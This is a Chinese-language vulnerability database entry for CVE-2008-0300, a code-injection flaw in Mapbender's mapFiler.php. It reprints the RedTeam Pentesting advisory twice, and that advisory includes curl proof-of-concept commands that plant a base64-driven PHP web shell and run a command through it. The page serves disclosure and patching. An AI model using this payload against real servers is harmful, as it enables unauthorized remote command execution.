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CVE-2008-0300-漏洞详情

CVE-2008-0300
CVSS 6.8
发布时间 :2008-03-11 19:44:00
修订时间 :2011-03-07 22:04:17
NMCOEPS    

[原文]mapFiler.php in Mapbender 2.4 to 2.4.4 allows remote attackers to execute arbitrary PHP code via PHP code sequences in the factor parameter, which are not properly handled when accessing a filename that contains those sequences.


[CNNVD]Mapbender ‘mapFiler.php’ 代码注入漏洞(CNNVD-200803-174)

        Mapbender中的mapFiler.php存在代码注入漏洞。远程攻击者通过系数参数中的PHP代码序列来执行任意PHP代码。该序列在登陆包含该序列的文件名时并没经过合适的处理。


CVSS (基础分值)

CVSS分值: 6.8 [中等(MEDIUM)]
机密性影响: PARTIAL [很可能造成信息泄露]
完整性影响: PARTIAL [可能会导致系统文件被修改]
可用性影响: PARTIAL [可能会导致性能下降或中断资源访问]
攻击复杂度: MEDIUM [漏洞利用存在一定的访问条件]
攻击向量: NETWORK [攻击者不需要获取内网访问权或本地访问权]
身份认证: NONE [漏洞利用无需身份认证]


CWE (弱点类目)

CWE-94 [对生成代码的控制不恰当(代码注入)]


CPE (受影响的平台与产品)

cpe:/a:mapbender:mapbender:2.4.4
cpe:/a:mapbender:mapbender:2.4.3
cpe:/a:mapbender:mapbender:2.4.2
cpe:/a:mapbender:mapbender:2.4
cpe:/a:mapbender:mapbender:2.4.1


OVAL (用于检测的技术细节)

未找到相关OVAL定义


官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0300

(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2008-0300

(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200803-174

(官方数据源) CNNVD


其它链接及资源

http://www.securityfocus.com/bid/28195


(PATCH)  BID  28195
http://xforce.iss.net/xforce/xfdb/41131


(UNKNOWN)  XF  mapbender-mapfilter-code-execution(41131)
http://xforce.iss.net/xforce/xfdb/41131


(UNKNOWN)  XF  mapbender-mapfiler-code-execution(41131)
http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php


(UNKNOWN)  MISC  http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php
http://www.milw0rm.com/exploits/5232


(UNKNOWN)  MILW0RM  5232
http://secunia.com/advisories/29329


(UNKNOWN)  SECUNIA  29329


漏洞信息

Mapbender ‘mapFiler.php’ 代码注入漏洞
中危 代码注入
2008-03-11 00:00:00 2008-09-05 00:00:00
远程  
        Mapbender中的mapFiler.php存在代码注入漏洞。远程攻击者通过系数参数中的PHP代码序列来执行任意PHP代码。该序列在登陆包含该序列的文件名时并没经过合适的处理。


公告与补丁

        目前厂商已经发布了升级补丁以修复这个安全问题,补丁下载链接:


        http://www.mapbender.org/


        


漏洞信息 (5232)

Mapbender <= 2.4.4 (mapFiler.php) Remote Code Execution Vulnerability (EDBID:5232)
php webapps
2008-03-11 Verified
0 RedTeam Pentesting

N/A

[点击下载]

Advisory: Remote Command Execution in Mapbender

During a penetration test RedTeam Pentesting discovered a remote command
execution vulnerability in Mapbender. An unauthorized user can create
arbitrary PHP-files on the Mapbender webserver, which can later be
executed.


Details
=======

Product: Mapbender
Affected Versions: 2.4 - 2.4.4 (verified), probably older versions, too
Fixed Versions: 2.4.5rc1
Vulnerability Type: Remote Command Execution
Security-Risk: high
Vendor-URL: http://www.mapbender.org
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php
Advisory-Status: public
CVE: CVE-2008-0300
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0300


Introduction
============

"Mapbender is the software and portal site for geodata management of OGC
OWS architectures. The software provides web technology for managing
spatial data services implemented in PHP, JavaScript and XML. It
provides a data model and interfaces for displaying, navigating and
querying OGC compliant map services. The Mapbender framework furthermore
provides authentication and authorization services, OWS proxy
functionality, management interfaces for user, group and service
administration in WebGIS projects."

(from the vendor's homepage)


More Details
============

The Mapbender software comes with a script mapFiler.php, which is
located at

http://www.example.com/tools/mapFiler.php

Due to the lack of input filtering, an attacker is able to enter valid PHP
code in the "factor" input field. This PHP code is written into a newly
generated file in the Mapbender webfolder. Therefore, it is possible to
remotely execute the code by requesting the new file.


Proof of Concept
================

For this example, the user account which is used to execute php scripts
needs permissions to write files to the tmp directory. Any other directory
with write permissions in the web root can be used, too.

Calling

curl -d "myLocation=../tmp/.&factor=.php&button=let's go" http://www.example.com/
    tools/mapFiler.php

creates a file

tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.

with the content:

#Modified by MapbenderTools
#Date: 14.01.2008
#Factor: .php

This script can then be executed by calling:

curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(
    $_GET[c]))%20%3f>.php.?c=aWQ'

It returns:

#Modified by MapbenderTools
#Date: 15.01.2008
#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)
.php

Commands sent to the script have to be base64 encoded and will be decoded by the
PHP code, to avoid possible URL filtering on the victim's side.


Workaround
==========

If not needed, the mapfiler.php script can be removed. Otherwise, it can
be protected by using an .htaccess directive.


Fix
===

The vulnerability is fixed in release 2.4.5 rc1.


Security Risk
=============

The security risk is rated as high. An attacker can execute arbitrary
commands remotely with the rights of the webserver.


History
=======

2007-12-14 Problem identified during a penetration test
2008-01-09 Customer approves contacting of Mapbender developers
2008-01-17 CVE number assigned
2008-03-10 Vendor releases fixed version
2008-03-11 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks or products are
uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.

# milw0rm.com [2008-03-11]
  


漏洞信息 (F64487)

rt-sa-2008-001.txt (PacketStormID:F64487)

2008-03-13 00:00:00
 

exploit,remote,php,code execution

CVE-2008-0300

[点击下载]

Mapbender versions 2.4.4 and below suffer from a remote code execution vulnerability in mapFiler.php.

Advisory: Remote Command Execution in Mapbender

During a penetration test RedTeam Pentesting discovered a remote command
execution vulnerability in Mapbender. An unauthorized user can create
arbitrary PHP-files on the Mapbender webserver, which can later be
executed.


Details
=======

Product: Mapbender
Affected Versions: 2.4 - 2.4.4 (verified), probably older versions, too
Fixed Versions: 2.4.5rc1
Vulnerability Type: Remote Command Execution
Security-Risk: high
Vendor-URL: http://www.mapbender.org
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2008-001.php
Advisory-Status: public
CVE: CVE-2008-0300
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0300


Introduction
============

"Mapbender is the software and portal site for geodata management of OGC
OWS architectures. The software provides web technology for managing
spatial data services implemented in PHP, JavaScript and XML. It
provides a data model and interfaces for displaying, navigating and
querying OGC compliant map services. The Mapbender framework furthermore
provides authentication and authorization services, OWS proxy
functionality, management interfaces for user, group and service
administration in WebGIS projects."

(from the vendor's homepage)


More Details
============

The Mapbender software comes with a script mapFiler.php, which is
located at

http://www.example.com/tools/mapFiler.php

Due to the lack of input filtering, an attacker is able to enter valid PHP
code in the "factor" input field. This PHP code is written into a newly
generated file in the Mapbender webfolder. Therefore, it is possible to
remotely execute the code by requesting the new file.


Proof of Concept
================

For this example, the user account which is used to execute php scripts
needs permissions to write files to the tmp directory. Any other directory
with write permissions in the web root can be used, too.

Calling

curl -d "myLocation=../tmp/.&factor=.php&button=let's go" http://www.example.com/
    tools/mapFiler.php

creates a file

tmp/_\<\?php\ passthru\(base64_decode\(\$_GET\[c\]\)\)\ \?\>.php.

with the content:

#Modified by MapbenderTools
#Date: 14.01.2008
#Factor: .php

This script can then be executed by calling:

curl -g 'http://www.example.com/tmp/_<%3fphp%20passthru(base64_decode(
    $_GET[c]))%20%3f>.php.?c=aWQ'

It returns:

#Modified by MapbenderTools
#Date: 15.01.2008
#Factor: uid=33(www-data) gid=33(www-data) groups=33(www-data)
.php

Commands sent to the script have to be base64 encoded and will be decoded by the
PHP code, to avoid possible URL filtering on the victim's side.


Workaround
==========

If not needed, the mapfiler.php script can be removed. Otherwise, it can
be protected by using an .htaccess directive.


Fix
===

The vulnerability is fixed in release 2.4.5 rc1.


Security Risk
=============

The security risk is rated as high. An attacker can execute arbitrary
commands remotely with the rights of the webserver.


History
=======

2007-12-14 Problem identified during a penetration test
2008-01-09 Customer approves contacting of Mapbender developers
2008-01-17 CVE number assigned
2008-03-10 Vendor releases fixed version
2008-03-11 Advisory released


RedTeam Pentesting GmbH
=======================

RedTeam Pentesting is offering individual penetration tests, short
pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks or products are
uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.
    


漏洞信息


42847
Mapbender mapFiler.php factor Variable Arbitrary PHP Code Execution

Remote / Network Access

Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified,
Vendor Verified,
Coordinated Disclosure


漏洞描述


时间线


2008-03-11

2007-12-14
2008-03-11 2008-03-10


解决方案

Upgrade to version 2.4.5 rc1 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.


相关参考


漏洞作者

Unknown or Incomplete


漏洞信息

Mapbender ‘factor’ Parameter Remote Code Injection Vulnerability

Input Validation Error

28195
Yes No
2008-03-11 12:00:00 2008-03-12 06:31:00

RedTeam Pentesting GmbH is credited with the discovery of this vulnerability.


受影响的程序版本

Mapbender Mapbender 2.4.4

Mapbender Mapbender 2.4.3

Mapbender Mapbender 2.4.2

Mapbender Mapbender 2.4.1

Mapbender Mapbender 2.4

Mapbender Mapbender 2.4.5 rc1


不受影响的程序版本

Mapbender Mapbender 2.4.5 rc1


漏洞讨论

Mapbender is prone to a remote code-injection vulnerability because the application fails to properly sanitize user-supplied input.



Exploiting this issue allows attackers to execute arbitrary code within the context of the webserver.



This issue affects Mapbender 2.4 to 2.4.4; other versions may also be affected.


漏洞利用

Attackers can exploit this issue via a browser.



The following proof of concept is available:


解决方案

The vendor has released updates. Please see the references for more information.





Mapbender Mapbender 2.4.4


相关参考

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